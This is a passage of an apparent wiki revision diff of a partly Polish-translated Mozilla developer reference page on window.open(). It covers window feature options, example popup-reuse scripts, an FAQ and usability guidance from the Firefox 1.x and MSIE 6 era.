class="internal" src="/@api/deki/files/2333/=Mozilla1_ico.png">, <img alt="Firefox 1.x" class="internal" src="/@api/deki/files/2305/=FF1x.png"></dd> +</dl> + +<dl> + <dt>minimizable </dt> + <dd>This setting can only apply to dialog windows; "minimizable" requires <code>dialog=yes</code>. If <code>minimizable</code> is set to <var>yes</var>, the new dialog window will have a minimize system command icon in the titlebar and it will be minimizable. Any non-dialog window is always minimizable and <code>minimizable=no</code> will be ignored.</dd> + <dd>Obsługiwane przez: <img alt="Netscape 6.x" class="internal" src="/@api/deki/files/2465/=Ns6.gif">, <img alt="Netscape 7.x" class="internal" src="/@api/deki/files/2334/=NS7_ico4.gif">, <img alt="Mozilla 1.x" class="internal" src="/@api/deki/files/2333/=Mozilla1_ico.png">, <img alt="Firefox 1.x" class="internal" src="/@api/deki/files/2305/=FF1x.png"></dd> +</dl> + +<dl> + <dt>fullscreen </dt> + <dd>Do not use. Not implemented in Mozilla. There are no plans to implement this feature in Mozilla.</dd> + <dd>This feature no longer works in MSIE 6 SP2 the way it worked in MSIE 5.x. The Windows taskbar, as well as the titlebar and the status bar of the window are not visible, nor accessible when fullscreen is enabled in MSIE 5.x.</dd> + <dd><code>fullscreen</code> always upsets users with large monitor screen or with dual monitor screen. Forcing <code>fullscreen</code> onto other users is also extremely unpopular and is considered an outright rude attempt to impose web author's viewing preferences onto users.</dd> + <dd><a href="#Note_on_fullscreen">Note on fullscreen</a></dd> + <dd>Obsługiwane przez: <img alt="Internet Explorer 5+" class="internal" src="/@api/deki/files/2324/=MSIE_ico.png"></dd> + <dd><code>fullscreen</code> does not really work work in MSIE 6 SP2.</dd> +</dl> + +<h4 id="Features_requiring_privileges" name="Features_requiring_privileges">Features requiring privileges</h4> + +<p>The following features require the <code>UniversalBrowserWrite</code> privilege, otherwise they will be ignored. Chrome scripts have this privilege automatically, others have to request it from the <a href="/pl/PrivilegeManager" title="pl/PrivilegeManager">PrivilegeManager</a>.</p> + +<dl> + <dt>titlebar </dt> + <dd>By default, all new secondary windows have a titlebar. If set to <var>no</var>, this feature removes the titlebar from the new secondary window.</dd> + <dd>Mozilla and Firefox users can force new windows to always render the titlebar by setting<br> + <code>dom.disable_window_open_feature.titlebar</code><br> + to <var>true</var> in <code>about:config</code> or in their <a class="external" href="http://www.mozilla.org/support/firefox/edit#user">user.js file</a>.</dd> + <dd>Obsługiwane przez: <img alt="Netscape 6.x" class="internal" src="/@api/deki/files/2465/=Ns6.gif">, <img alt="Netscape 7.x" class="internal" src="/@api/deki/files/2334/=NS7_ico4.gif">, <img alt="Mozilla 1.x" class="internal" src="/@api/deki/files/2333/=Mozilla1_ico.png">, <img alt="Firefox 1.x" class="internal" src="/@api/deki/files/2305/=FF1x.png"></dd> +</dl> + +<dl> + <dt>alwaysRaised </dt> + <dd>If set to <var>yes</var>, the new window will always be displayed on top of other browser windows, regardless of whether it is active or not.</dd> + <dd>Obsługiwane przez: <img alt="Netscape 6.x" class="internal" src="/@api/deki/files/2465/=Ns6.gif">, <img alt="Netscape 7.x" class="internal" src="/@api/deki/files/2334/=NS7_ico4.gif">, <img alt="Mozilla 1.x" class="internal" src="/@api/deki/files/2333/=Mozilla1_ico.png">, <img alt="Firefox 1.x" class="internal" src="/@api/deki/files/2305/=FF1x.png"></dd> +</dl> + +<dl> + <dt>alwaysLowered </dt> + <dd>If set to <var>yes</var>, the new created window floats below, under its own parent when the parent window is not minimized. alwaysLowered windows are often referred as pop-under windows. The alwaysLowered window can not be on top of the parent but the parent window can be minimized. In NS 6.x, the alwaysLowered window has no minimize system command icon and no restore/maximize system command.</dd> + <dd>Obsługiwane przez: <img alt="Netscape 6.x" class="internal" src="/@api/deki/files/2465/=Ns6.gif">, <img alt="Netscape 7.x" class="internal" src="/@api/deki/files/2334/=NS7_ico4.gif">, <img alt="Mozilla 1.x" class="internal" src="/@api/deki/files/2333/=Mozilla1_ico.png">, <img alt="Firefox 1.x" class="internal" src="/@api/deki/files/2305/=FF1x.png"></dd> +</dl> + +<dl> + <dt>z-lock </dt> + <dd>Same as <code>alwaysLowered</code>.</dd> +</dl> + +<dl> + <dt>close </dt> + <dd>When set to <var>no</var>, this feature removes the system close command icon and system close menu item. It will only work for dialog windows (<code>dialog</code> feature set). <code>close=no</code> will override <code>minimizable=yes</code>.</dd> + <dd>Mozilla and Firefox users can force new windows to always have a close button by setting<br> + <code>dom.disable_window_open_feature.close</code><br> + to <var>true</var> in <code>about:config</code> or in their <a class="external" href="http://www.mozilla.org/support/firefox/edit#user">user.js file</a>.</dd> + <dd>Obsługiwane przez: <img alt="Netscape 6.x" class="internal" src="/@api/deki/files/2465/=Ns6.gif">, <img alt="Netscape 7.x" class="internal" src="/@api/deki/files/2334/=NS7_ico4.gif">, <img alt="Mozilla 1.x" class="internal" src="/@api/deki/files/2333/=Mozilla1_ico.png">, <img alt="Firefox 1.x" class="internal" src="/@api/deki/files/2305/=FF1x.png"></dd> +</dl> + +<p>The position and size feature elements require a number to be set. The toolbars and window functionalities can be set with a <var>yes</var> or <var>no</var>; you can use <var>1</var> instead of <var>yes</var> and <var>0</var> instead of <var>no</var>. The toolbar and functionality feature elements also accept the shorthand form: you can turn a feature on by simply listing the feature name in the <var>strWindowFeatures</var> string. If you supply the <var>strWindowFeatures</var> parameter, then the <code>titlebar</code> and <code>close</code> are still <var>yes</var> by default, but the other features which have a <var>yes</var>/<var>no</var> choice will be <var>no</var> by default and will be turned off.</p> + +<p>Example:</p> + +<pre><script type="text/javascript"> +var WindowObjectReference; // global variable + +function openRequestedPopup() +{ + WindowObjectReference = window.open("http://www.domainname.ext/path/ImgFile.png", + "DescriptiveWindowName", + "width=420,height=230,resizable,scrollbars=yes,status=1"); +} +</script> +</pre> + +<p>In this example, the window will be resizable, it will render scrollbar(s) if needed, if the content overflows requested window dimensions and it will render the status bar. It will not render the menubar nor the location bar. Since the author knew about the size of the image (400 pixels wide and 200 pixels high), he added the margins applied to the root element in MSIE 6 which is 15 pixels for top margin, 15 pixels for the bottom margin, 10 pixels for the left margin and 10 pixels for the right margin.</p> + +<h3 id="Best_practices" name="Best_practices">Best practices</h3> + +<pre><script type="text/javascript"> +var WindowObjectReference = null; // global variable + +function openFFPromotionPopup() +{ + if(WindowObjectReference == null || WindowObjectReference.closed) + /* if the pointer to the window object in memory does not exist + or if such pointer exists but the window was closed */ + + { + WindowObjectReference = window.open("http://www.spreadfirefox.com/", + "PromoteFirefoxWindowName", "resizable=yes,scrollbars=yes,status=yes"); + /* then create it. The new window will be created and + will be brought on top of any other window. */ + } + else + { + WindowObjectReference.focus(); + /* else the window reference must exist and the window + is not closed; therefore, we can bring it back on top of any other + window with the focus() method. There would be no need to re-create + the window or to reload the referenced resource. */ + }; +} +</script> + +(...) + +<p><a href="http://www.spreadfirefox.com/" target="PromoteFirefoxWindowName" +onclick="openFFPromotionPopup(); return false;" +title="This link will create a new window or will re-use +an already opened one">Promote Firefox adoption</a></p> +</pre> + +<p>The above code solves a few usability problems related to links opening secondary window. The purpose of the <code>return false</code> in the code is to cancel default action of the link: if the onclick event handler is executed, then there is no need to execute the default action of the link. But if javascript support is disabled or non-existent on the user's browser, then the onclick event handler is ignored and the browser loads the referenced resource in the target frame or window that has the name "PromoteFirefoxWindowName". If no frame nor window has the name "PromoteFirefoxWindowName", then the browser will create a new window and will name it "PromoteFirefoxWindowName".</p> + +<p>More reading on the use of the target attribute:</p> + +<p><a class="external" href="http://www.w3.org/TR/html401/present/frames.html#h-16.3.2">HTML 4.01 Target attribute specifications</a></p> + +<p><a class="external" href="http://www.htmlhelp.com/faq/html/links.html#new-window">How do I create a link that opens a new window?</a></p> + +<p>You can also parameterize the function to make it versatile, functional in more situations, therefore re-usable in scripts and webpages:</p> + +<pre><script type="text/javascript"> +var WindowObjectReference = null; // global variable + +function openRequestedPopup(strUrl, strWindowName) +{ + if(WindowObjectReference == null || WindowObjectReference.closed) + { + WindowObjectReference = window.open(strUrl, strWindowName, + "resizable=yes,scrollbars=yes,status=yes"); + } + else + { + WindowObjectReference.focus(); + }; +} +</script"> +(...) + +<p><a href="http://www.spreadfirefox.com/" target="PromoteFirefoxWindow" +onclick="openRequestedPopup(this.href, this.target); return false;" +title="This link will create a new window or will re-use +an already opened one">Promote +Firefox adoption</a></p> +</pre> + +<p>You can also make such function able to open only 1 secondary window and to reuse such single secondary window for other links in this manner:</p> + +<pre><script type="text/javascript"> +var WindowObjectReference = null; // global variable +var PreviousUrl; /* global variable which will store the + url currently in the secondary window */ + +function openRequestedSinglePopup(strUrl) +{ + if(WindowObjectReference == null || WindowObjectReference.closed) + { + WindowObjectReference = window.open(strUrl, "SingleSecondaryWindowName", + "resizable=yes,scrollbars=yes,status=yes"); + } + else if(previousUrl != strUrl) + { + WindowObjectReference = window.open(strUrl, "SingleSecondaryWindowName", + "resizable=yes,scrollbars=yes,status=yes"); + /* if the resource to load is different, + then we load it in the already opened secondary window and then + we bring such window back on top/in front of its parent window. */ + WindowObjectReference.focus(); + } + else + { + WindowObjectReference.focus(); + }; + PreviousUrl = strUrl; + /* explanation: we store the current url in order to compare url + in the event of another call of this function. */ +} +</script> + +(...) + +<p><a href="http://www.spreadfirefox.com/" target="SingleSecondaryWindowName" +onclick="openRequestedSinglePopup(this.href); return false;" +title="This link will create a new window or will re-use +an already opened one">Promote Firefox +adoption</a></p> +<p><a href="http://www.mozilla.org/support/firefox/faq" +target="SingleSecondaryWindowName" +onclick="openRequestedSinglePopup(this.href); return false;" +title="This link will create a new window or will re-use +an already opened one">Firefox FAQ</a></p> +</pre> + +<h3 id="FAQ" name="FAQ">FAQ</h3> + +<dl> + <dt>How can I prevent the confirmation message asking the user whether he wants to close the window?</dt> + <dd>You can not. <strong>New windows not opened by javascript can not as a rule be closed by JavaScript.</strong> The JavaScript Console in Mozilla-based browsers will report the warning message: <code>"Scripts may not close windows that were not opened by script."</code> Otherwise the history of URLs visited during the browser session would be lost.</dd> + <dd><a href="/pl/Window.close" title="pl/Window.close">More on the window.close()</a> method</dd> +</dl> + +<dl> + <dt>How can I bring back the window if it is minimized or behind another window?</dt> + <dd>First check for the existence of the window object reference of such window and if it exists and if it has not been closed, then use the <a href="/pl/DOM/window.focus" title="pl/DOM/window.focus">focus()</a> method. There is no other reliable way. You can examine an <a href="#Best_practices">example explaining how to use the focus() method</a>.</dd> +</dl> + +<dl> + <dt>How do I force a maximized window?</dt> + <dd>You cannot. All browser manufacturers try to make the opening of new secondary windows noticed by users and noticeable by users to avoid confusion, to avoid disorienting users.</dd> +</dl> + +<dl> + <dt>How do I turn off window resizability or remove toolbars?</dt> + <dd>You cannot force this. Users with Mozilla-based browsers have absolute control over window functionalities like resizability, scrollability and toolbars presence via user preferences in <code>about:config</code>. Since your users are the ones who are supposed to use such windows (and not you, being the web author), the best is to avoid interfering with their habits and preferences. We recommend to always set the resizability and scrollbars presence (if needed) to yes to insure accessibility to content and usability of windows. This is in the best interests of both the web author and the users.</dd> +</dl> + +<dl> + <dt>How do I resize a window to fit its content?</dt> + <dd>You can not reliably because the users can prevent the window from being resized by unchecking the</dd> +</dl> + +<p><code style="white-space: normal;">Edit/Preferences/Advanced/Scripts & Plug-ins/Allow Scripts to/ Move or resize existing windows</code><br> + checkbox in Mozilla or<br> + <code style="white-space: normal;">Tools/Options.../Content tab/Enable Javascript/Advanced button/Move or resize existing windows</code><br> + checkbox in Firefox or by setting<br> + <code>dom.disable_window_move_resize</code><br> + to <var>true</var> in the <code>about:config</code> or by editing accordingly their <a class="external" href="http://www.mozilla.org/support/firefox/edit#user">user.js file</a>.</p> + +<dl> + <dd>In general, users usually disable moving and resizing of existing windows because allowing authors' scripts to do so has been abused overwhelmingly in the past and the rare scripts that do not abuse such feature are often wrong, inaccurate when resizing the window. 99% of all those scripts disable window resizability and disable scrollbars when in fact they should enable both of these features to allow a cautious and sane fallback mechanism if their calculations are wrong.</dd> +</dl> + +<dl> + <dd>The window method <a href="/pl/DOM/window.sizeToContent" title="pl/DOM/window.sizeToContent">sizeToContent()</a> is also disabled if the user unchecks the preference <code>Move or resize existing windows</code> checkbox. Moving and resizing a window remotely on the user's screen via script will very often annoy the users, will disorient the user, and will be wrong at best. The web author expects to have full control of (and can decide about) every position and size aspects of the users' browser window ... which is simply not true.</dd> +</dl> + +<dl> + <dt>How do I open a referenced resource of a link in a new tab? or in a specific tab?</dt> + <dd>Currently, you can not. Only the user can set his advanced preferences to do that. <a class="external" href="http://kmeleon.sourceforge.net/">K-meleon 1.1</a>, a Mozilla-based browser, gives complete control and power to the user regarding how links are opened. Some advanced extensions also give Mozilla and Firefox a lot of power over how referenced resources are loaded.</dd> +</dl> + +<dl> + <dd>In a few years, the <a class="external" href="http://www.w3.org/TR/2004/WD-css3-hyperlinks-20040224/#target0">target property of the CSS3 hyperlink module</a> may be implemented (if CSS3 Hyperlink module as it is right now is approved). And even if and when this happens, you can expect developers of browsers with tab-browsing to give the user entire veto power and full control over how links can open web pages. How to open a link should always be entirely under the control of the user.</dd> +</dl> + +<dl> + <dt>How do I know whether a window I opened is still open?</dt> + <dd>You can test for the existence of the window object reference which is the returned value in case of success of the window.open() call and then verify that <var>WindowObjectReference</var>.closed return value is <var>false</var>.</dd> +</dl> + +<dl> + <dt>How can I tell when my window was blocked by a popup blocker?</dt> + <dd>With the built-in popup blockers of Mozilla/Firefox and Internet Explorer 6 SP2, you have to check the return value of <code>window.open()</code>: it will be <var>null</var> if the window wasn't allowed to open. However, for most other popup blockers, there is no reliable way.</dd> +</dl> + +<dl> + <dt>What is the JavaScript relationship between the main window and the secondary window?</dt> + <dd>The return value of the window.open() method and the <a href="/pl/DOM/window.opener" title="pl/DOM/window.opener">opener</a> property. The <var>WindowObjectReference</var> links the main (opener) window to the secondary (sub-window) window while the opener keyword will link the secondary window to its main (opener) window.</dd> +</dl> + +<dl> + <dt>I can not access the properties of the new secondary window. I always get an error in the javascript console saying "Error<span class="nowiki">:</span> uncaught exception<span class="nowiki">:</span> Permission denied to get property <property_name or method_name>. Why is that?</dt> + <dd>It is because of the cross-domain script security restriction (also referred as the "Same Origin Policy"). A script loaded in a window (or frame) from a distinct origin (domain name) <strong>cannot get nor set</strong> properties of another window (or frame) or the properties of any of its HTML objects coming from another distinct origin (domain name). Therefore, before executing a script targeting a secondary window, the browser in the main window will verify that the secondary window has the same domain name.</dd> + <dd>More reading on the cross-domain script security restriction: <a class="external" href="http://www.mozilla.org/projects/security/components/same-origin.html" rel="freelink">http://www.mozilla.org/projects/secu...me-origin.html</a></dd> +</dl> + +<h3 id="Usability_issues" name="Usability_issues">Usability issues</h3> + +<h4 id="Avoid_resorting_to_window.open.28.29" name="Avoid_resorting_to_window.open.28.29">Avoid resorting to <code>window.open()</code></h4> + +<p>Generally speaking, it is preferable to avoid resorting to window.open() for several reasons:</p> + +<ul> + <li>All Mozilla-based browsers offer tab-browsing and this is the preferred mode of opening referenced resources... not just in Mozilla-based browsers but in all other browsers offering tab-browsing. In other words, tab-capable browser users overall prefer opening new tabs than opening new windows in a majority of webpage situations. Tab-capable browsers have rapidly gained support and enthusiasm on internet in the last 2 years and this trend will likely continue. It has been confirmed that the new upcoming release of MSIE 7 in February 2006 will have full support for tab browsing.</li> +</ul> + +<ul> + <li>There are now <a class="link-https" href="https://addons.update.mozilla.org/extensions/showlist.php?application=mozilla&category=Tabbed+Browsing&numpg=50&os=windows&version=auto-detect&submit=Update">several Mozilla extensions</a> (like Multizilla) and <a class="link-https" href="https://addons.update.mozilla.org/extensions/showlist.php?application=firefox&version=1.0+&os=Windows&category=Tabbed%20Browsing">Firefox extensions</a> (like <a class="link-https" href="https://addons.update.mozilla.org/extensions/moreinfo.php?application=firefox&version=1.0%20&os=Windows&category=Tabbed%20Browsing&numpg=10&id=158">Tabbrowser preferences</a>), features, settings and advanced preferences based on tab-browsing and based on converting window.open() calls into opening tabs, based on neutralizing window.open() calls, in particular in neutralizing unrequested openings of new windows (often referred as blocking unrequested popups or as blocking script-initiated windows opening automatically). Such features found in extensions include opening a link in a new window or not, in the same window, in a new tab or not, in "background" or not. Coding carelessly to open new windows can no longer be assured of success, can not succeed by force and, if it does, it will annoy a majority of users.</li> +</ul> + +<ul> + <li>New windows can have menubar missing, scrollbars missing, status bar missing, window resizability disabled, etc.; new tabs can not be missing those functionalities or toolbars (or at least, the toolbars which are present by default). Therefore, tab-browsing is preferred by a lot of users because the normal user-interface of the browser window they prefer is kept intact, remains stable.</li> +</ul> + +<ul> + <li>Opening new windows, even with reduced features, uses considerably a lot of the user's system resources (cpu, RAM) and involves considerably a lot of coding in the source code (security management, memory management, various code branchings sometimes quite complex, window frame/chrome/toolbars building, window positioning and sizing, etc.). Opening new tabs is less demanding on the user's system resources (and faster to achieve) than opening new windows.</li> +</ul> + +<h4 id="Offer_to_open_a_link_in_a_new_window.2C_using_these_guidelines" name="Offer_to_open_a_link_in_a_new_window.2C_using_these_guidelines">Offer to open a link in a new window, using these guidelines</h4> + +<p>If you want to offer to open a link in a new window, then follow tested and recommendable usability and accessibility guidelines:</p> + +<h5 id="Never_use_this_form_of_code_for_links:.3Ca_href.3D.22javascript:window.open.28....29.22_....3E" name="Never_use_this_form_of_code_for_links:.3Ca_href.3D.22javascript:window.open.28....29.22_....3E"><em>Never</em> use this form of code for links:<br> + <code><a href="javascript:window.open(...)" ...></code></h5> + +<p>"javascript:" links break accessibility and usability of webpages in every browser.</p> + +<ul> + <li>"javascript:" pseudo-links become dysfunctional when javascript support is disabled or inexistent. Several corporations allow their employees to surf on the web but under strict security policies: no javascript enabled, no java, no activeX, no Flash. For various reasons (security, public access, text browsers, etc..), about 8% to 12% of users on the web surf with javascript disabled.</li> + <li>"javascript:" links will interfere with advanced features in tab-capable browsers: eg. middle-click on links, Ctrl+click on links, tab-browsing features in extensions, etc.</li> + <li>"javascript:" links will interfere with the process of indexing webpages by search engines.</li> + <li>"javascript:" links interfere with assistive technologies and several web-aware applications (e.g. PDA (Personal Digital Assistant).</li> + <li>"javascript:" links also interfere with "mouse gestures" features implemented in browsers.</li> + <li>Protocol scheme "javascript:" will be reported as an error by link validators and link checkers.</li> +</ul> + +<p><strong>Further reading:</strong></p> + +<ul> + <li><a class="external" href="http://www.useit.com/alertbox/20021223.html">Top Ten Web-Design Mistakes of 2002</a>, 6. JavaScript in Links, Jakob Nielsen, December 2002</li> + <li><a class="external" href="http://www.evolt.org/article/Links_and_JavaScript_Living_Together_in_Harmony/17/20938/">Links & JavaScript Living Together in Harmony</a>, Jeff Howden, February 2002</li> + <li><a class="external" href="http://jibbering.com/faq/#FAQ4_24">comp.lang.javascript newsgroup discussion FAQ on "javascript:" links</a></li> +</ul> + +<h5 id="Nigdy_nie_u.C5.BCywaj_.3Ca_href.3D.22.23.22_onclick.3D.22window.open.28....29.3B.22.3E" name="Nigdy_nie_u.C5.BCywaj_.3Ca_href.3D.22.23.22_onclick.3D.22window.open.28....29.3B.22.3E">Nigdy nie używaj <code><a href="#" onclick="window.open(...);"></code></h5> + +<p>Takie pseudo-linki ograniczają dostępność stron. <strong>Zawsze używaj rzeczywistych URLi jako wartości atrybutu href</strong> tak by w przypadku braku obsługi javascriptu lub gdy przeglądarka nie obsługuje otwierania odrębnych okien (jak w przypadku MS-Web TV, przeglądarek tekstowych, itp.), przeglądarka miała możliwość dostępu do zasobu zgodnie z domyślnym sposobem obsługi zasobów. Tak sformułowane linki kolidują także z dodatkowymi funkcjami przeglądarek obsługujących zakładki, np.: kliknięcie linku środkowym klawiszem myszy, kliknięcie linku z przytrzymanym klawiszem ctrl, naciśnięcie kombinacji ctrl+enter czy gesty myszą.</p> + +<h5 id="Always_identify_links_which_will_create_.28or_will_re-use.29_a_new.2C_secondary_window" name="Always_identify_links_which_will_create_.28or_will_re-use.29_a_new.2C_secondary_window">Always identify links which will create (or will re-use) a new, secondary window</h5> + +<p>Identify links that will open new windows in a way that helps navigation for users by coding the title attribute of the link, by adding an icon at the end of the link or by coding the cursor accordingly.</p> + +<p>The purpose is to warn users in advance of context changes to minimize confusion on the user's part: changing the current window or popping up new windows can be very disorienting to users (Back toolbar button is disabled).</p> + +<blockquote> +<p>"Users often don't notice that a new window has opened, especially if they are using a small monitor where the windows are maximized to fill up the screen. So a user who tries to return to the origin will be confused by a grayed out <em>Back</em> button."<br> + quote from <a class="external" href="http://www.useit.com/alertbox/990530.html">The Top Ten <em>New</em> Mistakes of Web Design</a>: 2. Opening New Browser Windows, Jakob Nielsen, May 1999</p> +</blockquote> + +<p>When extreme changes in context are explicitly identified before they occur, then the users can determine if they wish to proceed or so they can be prepared for the change: not only they will not be confused or feel disoriented, but more experienced users can better decide how to open such links (in a new window or not, in the same window, in a new tab or not, in "background" or not).</p> + +<p><strong>References</strong></p> + +<ul> + <li>"If your link spawns a new window, or causes another windows to 'pop up' on your display, or move the focus of the system to a new FRAME or Window, then the nice thing to do is to tell the user that something like that will happen." <a class="external" href="http://www.w3.org/WAI/wcag-curric/sam77-0.htm">World Wide Web Consortium Accessibility Initiative regarding popups</a></li> + <li>"Use link titles to provide users with a preview of where each link will take them, before they have clicked on it." <a class="external" href="http://www.useit.com/alertbox/991003.html">Ten Good Deeds in Web Design</a>, Jakob Nielsen, October 1999</li> + <li><a class="external" href="http://www.useit.com/alertbox/980111.html">Using Link Titles to Help Users Predict Where They Are Going</a>, Jakob Nielsen, January 1998</li> +</ul> + +<table class="standard-table"> + <tbody> + <tr> + <td class="header" colspan="4">Przykład ikon & kursorów "Nowego okna"</td> + </tr> + <tr> + <td style="width: 25%;"><img alt="New window icon from yahoo.com"></td> + <td style="width: 25%;"><img alt="New window icon from microsoft.com" class="internal" src="/@api/deki/files/2463/=NewwinMSIE.gif"></td> + <td style="width: 25%;"><img alt="New window icon from webaim.org" class="internal" src="/@api/deki/files/2339/=Popup_requested_new_window.gif"></td> + <td style="width: 25%;"><img alt="New window icon from sun.com" class="internal" src="/@api/deki/files/2476/=PopupImageSun.gif"></td> + </tr> + <tr> + <td><img alt="New window icon from bbc.co.uk" class="internal" src="/@api/deki/files/2469/=Opennews_rb.gif"></td> + <td><img alt="New window icon from Accessible Internet Solutions" class="internal" src="/@api/deki/files/2205/=AIS_NewWindowIcon.png"></td> + <td><img alt="New window icon from accessify.com" class="internal" src="/@api/deki/files/2474/=Pop-up-launcher.gif"></td> + <td><img alt="New window icon from webstyleguide.com" class="internal" src="/@api/deki/files/2347/=Webstyleguide_com_newwind.gif"></td> + </tr> + <tr> + <td><img alt="New window icon from an unknown source" class="internal" src="/@api/deki/files/2475/=Popicon_1.gif"></td> + <td><img alt="New window icon from an unknown source" class="internal" src="/@api/deki/files/2462/=New.gif"></td> + <td><img alt="New window icon from an unknown source" class="internal" src="/@api/deki/files/2348/=WillCreateOrRecycleNewWindow.gif"></td> + <td><img alt="New window icon from gtalbot.org" class="internal" src="/@api/deki/files/2336/=OpenRequestedPopup.png"></td> + </tr> + <tr> + <td colspan="2"><img alt="New window cursor from draig.de" class="internal" src="/@api/deki/files/2300/=Cursor_LinkNewWindowTargetBlank.png"></td> + <td colspan="2"><img alt="New window cursor from mithgol.ru" class="internal" src="/@api/deki/files/2301/=Cursor_newwindowSergeySokoloff.png"></td> + </tr> + </tbody> +</table> + +<h5 id="Always_use_the_target_attribute" name="Always_use_the_target_attribute">Always use the target attribute</h5> + +<p>If javascript support is disabled or non-existent, then the user agent will create a secondary window accordingly or will render the referenced resource according to its handling of the target attribute: e.g. some user agents which can not create new windows, like MS Web TV, will fetch the referenced resource and append it at the end of the current document. The goal and the idea is to try to provide - <strong>not impose</strong> - to the user a way to open the referenced resource, a mode of opening the link. Your code should not interfere with the features of the browser at the disposal of the user and your code should not interfere with the final decision resting with the user.</p> + +<h5 id="Do_not_use_target.3D.22_blank.22" name="Do_not_use_target.3D.22_blank.22">Do not use <code>target="_blank"</code></h5> + +<p>Always provide a meaningful name to your target attribute and try to reuse such target attribute in your page so that a click on another link may load the referenced resource in an already created and rendered window (therefore speeding up the process for the user) and therefore justifying the reason (and user system resources, time spent) for creating a secondary window in the first place. Using a single target attribute value and reusing it in links is much more user resources friendly as it only creates one single secondary window which is recycled. On the other hand, using "_blank" as the target attribute value will create several new and unnamed windows on the user's desktop which can not be recycled, reused. In any case, if your code is well done, it will not interfere with the user's final choice but will rather merely offer him more choices, more ways to open links and more power to the tool he's using (a browser).</p> + +<h3 id="Glossary" name="Glossary">Glossary</h3> + +<dl> + <dt>Opener window, parent window, main window, first window </dt> + <dd>Terms often used to describe or to identify the same window. It is the window from which a new window will be created. It is the window on which the user clicked a link which lead to the creation of another, new window.</dd> +</dl> + +<dl> + <dt>Sub-window, child window, secondary window, second window </dt> + <dd>Terms often used to describe or to identify the same window. It is the new window which was created.</dd> +</dl> + +<dl> + <dt>Unrequested popup windows</dt> + <dd>Script-initiated windows opening automatically without the user's consent.</dd> +</dl> + +<h3 id="Specification" name="Specification">Specification</h3> + +<p>DOM Level 0. window.open() is not part of any W3C (World Wide Web Consortium) specification or technical recommendation.</p> + +<h3 id="Notes" name="Notes">Notes</h3> + +<h4 id="Note_on_precedence" name="Note_on_precedence">Note on precedence</h4> + +<p>In cases where <code>left</code> and <code>screenX</code> (and/or <code>top</code> and <code>screenY</code>) have conflicting values, then <code>left</code> and <code>top</code> have precedence over <code>screenX</code> and <code>screenY</code> respectively. If <code>left</code> and <code>screenX</code> (and/or <code>top</code> and <code>screenY</code>) are defined in the <var>strWindowFeatures</var> list, then <code>left</code> (and/or <code>top</code>) will be honored and rendered. In the following example the new window will be positioned at 100 pixels from the left side of the work area for applications of the user's operating system, not at 200 pixels.</p> + +<pre><script type="text/javascript"> +WindowObjectReference = window.open("http://news.bbc.co.uk/", + "BBCWorldNewsWindowName", + "left=100,screenX=200,resizable,scrollbars,status"); +</script> +</pre> + +<p>If left is set but top has no value and screenY has a value, then left and screenY will be the coordinate positioning values of the secondary window.</p> + +<p>outerWidth has precedence over width and width has precedence over innerWidth. outerHeight has precedence over height and height has precedence over innerHeight. In the following example, Mozilla-browsers will create a new window with an outerWidth of 600 pixels wide and will ignore the request of a width of 500 pixels and will also ignore the request of an innerWidth of 400 pixels.</p> + +<pre><script type="text/javascript"> +WindowObjectReference = window.open("http://www.wwf.org/", + "WWildlifeOrgWindowName", + "outerWidth=600,width=500,innerWidth=400,resizable,scrollbars,status"); +</script> +</pre> + +<h4 id="Note_on_position_and_dimension_error_correction" name="Note_on_position_and_dimension_error_correction">Note on position and dimension error correction</h4> + +<p>Requested position and requested dimension values in the <var>strWindowFeatures</var> list will not be honored and <strong>will be corrected</strong> if any of such requested value does not allow the entire browser window to be rendered within the work area for applications of the user's operating system. <strong>No part of the new window can be initially positioned offscreen. This is by default in all Mozilla-based browser releases.</strong></p> + +<p><a class="external" href="http://msdn.microsoft.com/security/productinfo/xpsp2/default.aspx?pull=/library/en-us/dnwxp/html/xpsp2web.asp#xpsp_topic5">MSIE 6 SP2 has a similar error correction mechanism</a> but it is not activated by default in all security levels: a security setting can disable such error correction mechanism.</p> + +<h4 id="Note_on_scrollbars" name="Note_on_scrollbars">Note on scrollbars</h4> + +<p>When content overflows window viewport dimensions, then scrollbar(s) (or some scrolling mechanism) are necessary to ensure that content can be accessed by users. Content can overflow window dimensions for several reasons which are outside the control of web authors:</p> + +<ul> + <li>user resizes the window</li> + <li>user increases the text size of fonts via View/Text Zoom (%) menuitem in Mozilla or View/Text Size/Increase or Decrease in Firefox</li> + <li>user sets a minimum font size for pages which is bigger than the font-size the web author requested. People over 40 years old or with particular viewing habit or reading preference often set a minimal font size in Mozilla-based browsers.</li> + <li>web author is not aware of default margin (and/or border and/or padding) values applying to root element or body node in various browsers and various browser versions</li> + <li>user uses an user stylesheet (<a class="external" href="http://www.mozilla.org/support/firefox/edit#content">userContent.css in Mozilla-based browsers</a>) for his viewing habits which increases document box dimensions (margin, padding, default font size)</li> + <li>user can customize individually the size (height or width) of most toolbars via operating system settings. E.g. window resizing borders, height of browser titlebar, menubar, scrollbars, font size are entirely customizable by the user in Windows XP operating system. These toolbars dimensions can also be set via browser themes and skins or by operating system themes</li> + <li>web author is unaware that the user default browser window has custom toolbar(s) for specific purpose(s); e.g.: prefs bar, web developer bar, accessibility toolbar, popup blocking and search toolbar, multi-feature toolbar, etc.</li> + <li>user uses assistive technologies or add-on features which modify the operating system's work area for applications: e.g. MS-Magnifier</li> + <li>user repositions and/or resizes directly or indirectly the operating system's work area for applications: e.g. user resizes the Windows taskbar, user positions the Windows taskbar on the left side (arabic language based) or right side (Hebrew language), user has a permanent MS-Office quick launch toolbar, etc.</li> + <li>some operating system (Mac OS X) forces presence of toolbars which can then fool the web author's anticipations, calculations of the effective dimensions of the browser window</li> +</ul> + +<h4 id="Note_on_status_bar" name="Note_on_status_bar">Note on status bar</h4> + +<p>You should assume that a large majority of users' browsers will have the status bar or that a large majority of users will want to force the status bar presence: best is to always set this feature to yes. Also, if you specifically request to remove the status bar, then Firefox users will not be able to view the Site Navigation toolbar if it is installed. In Mozilla and in Firefox, all windows with a status bar have a window resizing grippy at its right-most side. The status bar also provides info on http connection, hypertext resource location, download progress bar, encryption/secure connection info with SSL (Secure Socket Layer) connection (displaying a yellow padlock icon), internet/security zone icons, privacy policy/cookie icon, etc. <strong>Removing the status bar usually removes a lot of functionality, features and information considered useful (and sometimes vital) by the users.</strong></p> + +<h4 id="Note_on_security_issues_of_the_status_bar_presence" name="Note_on_security_issues_of_the_status_bar_presence">Note on security issues of the status bar presence</h4> + +<p>In MSIE 6 for XP SP2: For windows opened using window.open():</p> + +<blockquote> +<p>"For windows opened using window.open():<br> + Expect the status bar to be present, and code for it. <strong>The status bar will be on by default</strong> and is 20-25 pixels in height. (...)"<br> + quote from <a class="external" 